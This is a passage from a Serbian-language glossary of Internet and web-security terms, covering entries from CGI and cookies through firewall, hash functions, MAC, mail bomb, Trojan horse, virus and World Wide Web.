www.thawte.com).

CGI - Common Gateway Interface, standardizovana programska tehnologija koja

omogućava preko Weba promenu podataka na Web Serveru (uglavnom iz neke forme)
tom prilikom obrađujuje podatke i vraća neku vrstu rezultata.

Cgi-bin - uglavom je to direktorijum koji sadrži određene CGI programe na Web

Serveru.

Cookie - 'kolačić' je jedna vrsta zapisa koji moze da ostane na računaru (u zavisnosti od
podešavanja samog browsera) i šalje se svaki put na Web Server kada browser pristupa
određenom sajtu. On moze sadržati informacije o korisniku kao sto su ime, prezime ...

Domain name - jedinstveno ime domena na Internetu. Imena domena mogu biti različita
npr. kraftweb.net

Domain name server (DNS) - server koji vrši razlučivanje logičkih imena korisnika ili
servisa na mreži u IP adrese i obrnuto.

Download - Proces kopiranja nekih podataka kao sto su slike, zvukovi, tekst i ostale
različite vrste fajlova.

E-mail - Poznata i kao elektronska pošta, slanje poruka ili fajlova od jednog Internet
korisnika do drugog (ili za više korisnika).

FAQ - Frequantly Asked Questions, najcešce pitana pitanja vezana za neku temu.

47
Firewall - je sistem dizajniran da kontroliše protok informacija između lokalnog hosta i
bilo kog udaljenog hosta na mreži. Koristi se kao sredstvo za smanjenje rizika od
neželjenog pristupa sistemu ili lokalnom računaru.

FTP - File Transfer Protocol, protokol koji se koristi za prenošenje fajlova od korisnika
do Web stranica i obrnuto. Ovim protokol kojim je moguće preuzeti sadržaj nekog
drugog sajta sa odgovarajućim korisničkim imenom i šifrom.

GET – HTTP GET metod čija je funkcija slanje podataka od HTTP klijenta do servera.
Podaci se prenose preko URL-a.

GnuPG – Gnu Privacy Guard, besplatni klon komercijalnog PGP, koji implementira
asimetričnu kriptografiju.

Haker - osoba koja pokušava da probije zaštitu na računarskom sistemu.

Hash funkcije – Hash funkcija H(x) je transformacija poruke proizvoljne dužine u hash
vrednost h = H(x) tačno definisane dužine. Ovako definisane hash funkcije mogu imati
generalnu računsku primenu, ali u svrhu kriptografije moraju ispuniti dodatne zahteve.

Host - Računar koji je povezan na mrežu i obezbeđuje određene servise za korisnike te

mreže.

Hosting provider - Firma koja pruža usluge hostovanja Internet prezentacija.

HTML - Hypertext Markup Language, jasno definisan metod prezentovanja tekstualnih i

multimedijalnih materijala za uporebu na World Wide Web-u, jezik uz pomoc koga se
kreiraju stranice koje se koriste na World Wide Webu. Postoje mnogi novi korisnicki
programi koji sluze za izdravu Web prezetnacija, a kod kojih nije neophodno poznavanje
ovog jezika ali ipak prikazuju sam HTML kod.

HTTP - Hypertext Transport Protocol, protokol kojim su definisana pravila za cirkulaciju

hypertext fajlova na Internetu, dozvoljava browseru da pristupi Web serveru na bilo kom
kompjuteru kada koriste isti 'jezik', bolje rečeno ovaj protokol.

Hypertext - Generalno posmatrano, on sadrži sve tekstove koji u sebi sadrže linkove ka
drugim dokumentima.

Internet (Net) - Mreža svih mreža, neformalna mreža koja povezuje veliki deo svetskih
kompjuterskih mreža, veliki broj mreža međusobno povezanih komjutera telefonskim
žicama, kablovima i satelitima koji pruzaju pristup i medjusobnu razmenu informacija.

IP - Internet Protocol, osnovni protokol za razmenu podataka preko Interneta, deo

TCP/IP grupe protokola.

48
IP adresa - četiri broja između 0 i 255 međusobno odvojenih tačkom,služi za
identifikaciju lokacije svakog člana mreže

ISP - Internet Service Provider, Internet posrednički centar, firma koja pruža Internet
usluge, InfoSky je ISP firme Informatika

Java - Objektno orijentisan programski jezik, specijalno aplikativan za World Wide Web,
razvijen 1990 od korporacije Sun Microsystems.

Link - Odredjena deonica jedne Web strane (tekst, slika, bilo sta) koja upućuje na drugu
Web stranicu.

MAC – Autentifikacioni kod poruke (Message Authentication Code) je autentifikaciona

reč izvedena iz poruke korišćenjem tajnog ključa. Za razliku od digitalnog potpisa MAC
se poredi i verifikuje pomoću istog ključa, što znači da može biti verifikovan samo od
određenog korisnika.

MD5 – Hash funkcija.

Mail bomb - veliki broj email-ova poslatih jednoj osobi ili sistemu sa ciljem da
prouzrokuje pad servera.

Meta karakteri - karakteri koji utiču na ponašanje naredbi programskog jezika, naredbi
operativnog sistema, pojedinačnih programskih procedura, kao na i upite baza podataka.
Meta karakteri mogu biti kodirani na način koji nije lako uočljiv, tako da je kanonizacija
podataka (pretvaranje u standardne karaktere) pre stripping-a (npr. Uklanjanje html
tagova) veoma bitna.

On-line - odnosi se na vremenski period kada ste povezani na Internet

Password - lozinka kojom se korisnik (uz korisničko ime) služi za identifikaciju na

mreži.

PGP – Pretty Good Privacy, komercijalni softver za implementaciju asimetrične

kriptografije

PHP – Hypertext Processor, skript jezik za izradu Web aplikacija.

PKI – Infrastruktura kriptografije sa javnim ključem (Public Key Infrastructure)

predstavlja skup protokola, servisa i standarda za podršku aplikacijama koje koriste
kriptografiju sa javnim ključem.

POP3 - Post Office Protocol, protokol koji se koristi za preuzimanje email-ova

Port - tačka kroz koju podaci mogu ući ili napustiti mrežu.

49
POST – HTTP POST metod čija je funkcija slanje podataka od HTTP klijenta do servera.
Podaci se prenose u telu HTTP zahteva.

Plug-in - Dodatni program koji se izvršava unutar Browsera dajući mu dodatne

mogućnosti pregleda određenih tipova dokumenata: gledanje video klipova, slušanje
muzike...

Referer – parametar HTTP zaglavlja, koji nosi informaciju sa kog domena se upućuje
HTTP zahtev.

Router - uređaj koji omogućava povezivanje nekoliko regiona (podmreža) u jednu

mrežu, kontrolišući mrežni saobraćaj između njih.

Server - računar koji čuva informacije koje se dele širom mreze i odgovara na zahteve za
informacijama od strane klijenata.

SMTP - Simple Mail Transfer Protocol, protokol koji se koristi za slanje email-ova

Spam - neželjeni email koji je poslat za više korisnika odjednom, uglavnom oglasnog
tipa ili korisničke usluge. Zabranjena radnja.

Surf - izraz koji opisuje gledanje Web sajtova na Internetu.

TCP/IP - Transmision Control Protocol/ Internet Protocol, skup protokola za

komunikaciju na Internetu

Trojanski konj (Trojan horse, Trojan), naizgled bezopasan program klijent-server tipa,
napravljen da zaobidje sigurnosnu zaštitu na sistemu.

URL - Uniform Resource Locator, ili popularnije zvana Internet adresa.

Virus - Programski kod koji ima sposobnost razmnožavanja, tako što "zakači" svoje
kopije za druge fajlove na sistemu, izazivajući štetu na njima i sistemu uopšte.

World Wide Web - WWW - Kolekcija tekstova, knjiga, slika, filmova, zvukova, na Web
stranicama povezanih preko Interneta. WWW nije Internet vec predstavlja samo njegov
deo.

50
51